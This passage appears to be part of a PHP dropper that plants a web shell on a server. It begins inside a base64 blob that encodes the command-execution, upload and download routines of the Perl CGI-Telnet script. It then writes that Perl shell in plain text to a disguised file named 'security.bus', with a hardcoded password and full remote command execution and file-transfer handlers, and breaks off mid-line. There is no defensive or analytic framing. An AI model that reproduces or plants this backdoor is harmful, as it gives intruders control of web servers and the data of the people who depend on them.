mRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K';
file_put_contents('security.bus', "#!/usr/bin/perl\r\n#------------------------------------------------------------------------------\r\n# Copyright and Licence\r\n#------------------------------------------------------------------------------\r\n# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server\r\n#\r\n# Copyright (C) 2001 Rohitab Batra\r\n# Permission is granted to use, distribute and modify this script so long\r\n# as this copyright notice is left intact. If you make changes to the script\r\n# please document them and inform me. If you would like any changes to be made\r\n# in this script, you can e-mail me.\r\n#\r\n# Author: Rohitab Batra\r\n# Author e-mail: rohitab@rohitab.com\r\n# Author Homepage: http://www.rohitab.com/\r\n# Script Homepage: mailto:UNITX_TEAM@HOTMAIL.COM\r\n# Product Support: http://www.rohitab.com/support/\r\n# Discussion Forum: http://www.rohitab.com/discuss/\r\n# Mailing List: http://www.rohitab.com/mlist/\r\n#------------------------------------------------------------------------------\r\n\r\n#------------------------------------------------------------------------------\r\n# Installation\r\n#------------------------------------------------------------------------------\r\n# To install this script\r\n#\r\n# 1. Modify the first line \"#!/usr/bin/perl\" to point to the correct path on\r\n# your server. For most servers, you may not need to modify this.\r\n# 2. Change the password in the Configuration section below.\r\n# 3. If you're running the script under Windows NT, set \$WinNT = 1 in the\r\n# Configuration Section below.\r\n# 4. Upload the script to a directory on your server which has permissions to\r\n# execute CGI scripts. This is usually cgi-bin. Make sure that you upload\r\n# the script in ASCII mode.\r\n# 5. Change the permission (CHMOD) of the script to 755.\r\n# 6. Open the script in your web browser. If you uploaded the script in\r\n# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl\r\n# 7. Login using the password that you specified in Step 2.\r\n#------------------------------------------------------------------------------\r\n\r\n#------------------------------------------------------------------------------\r\n# Configuration: You need to change only \$Password and \$WinNT. The other\r\n# values should work fine for most systems.\r\n#------------------------------------------------------------------------------\r\n\$Password = \"g1u5y\";\t\t# Change this. You will need to enter this\r\n\t\t\t\t# to login.\r\n\r\n\$WinNT = 0;\t\t\t# You need to change the value of this to 1 if\r\n\t\t\t\t# you're running this script on a Windows NT\r\n\t\t\t\t# machine. If you're running it on Unix, you\r\n\t\t\t\t# can leave the value as it is.\r\n\r\n\$NTCmdSep = \"&\";\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t# in a command line on Windows NT.\r\n\r\n\$UnixCmdSep = \";\";\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t# in a command line on Unix.\r\n\r\n\$CommandTimeoutDuration = 10;\t# Time in seconds after commands will be killed\r\n\t\t\t\t# Don't set this to a very large value. This is\r\n\t\t\t\t# useful for commands that may hang or that\r\n\t\t\t\t# take very long to execute, like \"find /\".\r\n\t\t\t\t# This is valid only on Unix servers. It is\r\n\t\t\t\t# ignored on NT Servers.\r\n\r\n\$ShowDynamicOutput = 1;\t\t# If this is 1, then data is sent to the\r\n\t\t\t\t# browser as soon as it is output, otherwise\r\n\t\t\t\t# it is buffered and send when the command\r\n\t\t\t\t# completes. This is useful for commands like\r\n\t\t\t\t# ping, so that you can see the output as it\r\n\t\t\t\t# is being generated.\r\n\r\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\r\n\r\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\r\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\r\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\r\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\r\n\r\n#------------------------------------------------------------------------------\r\n# Reads the input sent by the browser and parses the input variables. It\r\n# parses GET, POST and multipart/form-data that is used for uploading files.\r\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\r\n# Other variables can be accessed using \$in{'var'}, where var is the name of\r\n# the variable. Note: Most of the code in this function is taken from other CGI\r\n# scripts.\r\n#------------------------------------------------------------------------------\r\nsub ReadParse \r\n{\r\n\tlocal (*in) = @_ if @_;\r\n\tlocal (\$i, \$loc, \$key, \$val);\r\n\t\r\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\r\n\r\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\r\n\t{\r\n\t\t\$in = \$ENV{'QUERY_STRING'};\r\n\t}\r\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\r\n\t{\r\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\r\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\r\n\t}\r\n\r\n\t# handle file upload data\r\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\r\n\t{\r\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \r\n\t\t@list = split(/\$Boundary/, \$in); \r\n\t\t\$HeaderBody = \$list[1];\r\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\r\n\t\t\$Header = \$`;\r\n\t\t\$Body = \$';\r\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\r\n\t\t\$in{'filedata'} = \$Body;\r\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \r\n\t\t\$in{'f'} = \$1; \r\n\t\t\$in{'f'} =~ s/\\\"//g;\r\n\t\t\$in{'f'} =~ s/\\s//g;\r\n\r\n\t\t# parse trailer\r\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\r\n\t\t{ \r\n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\r\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\r\n\t\t\t\$key = \$1;\r\n\t\t\t\$val = \$';\r\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} = \$val; \r\n\t\t}\r\n\t}\r\n\telse # standard post data (url encoded, not multipart)\r\n\t{\r\n\t\t@in = split(/&/, \$in);\r\n\t\tforeach \$i (0 .. \$#in)\r\n\t\t{\r\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\r\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\r\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\r\n\t\t\t\$in{\$key} .= \$val;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML Page Header\r\n# Argument 1: Form item name to which focus should be set\r\n#------------------------------------------------------------------------------\r\nsub PrintPageHeader\r\n{\r\n\t\$EncodedCurrentDir = \$CurrentDir;\r\n\t\$EncodedCurrentDir =~ 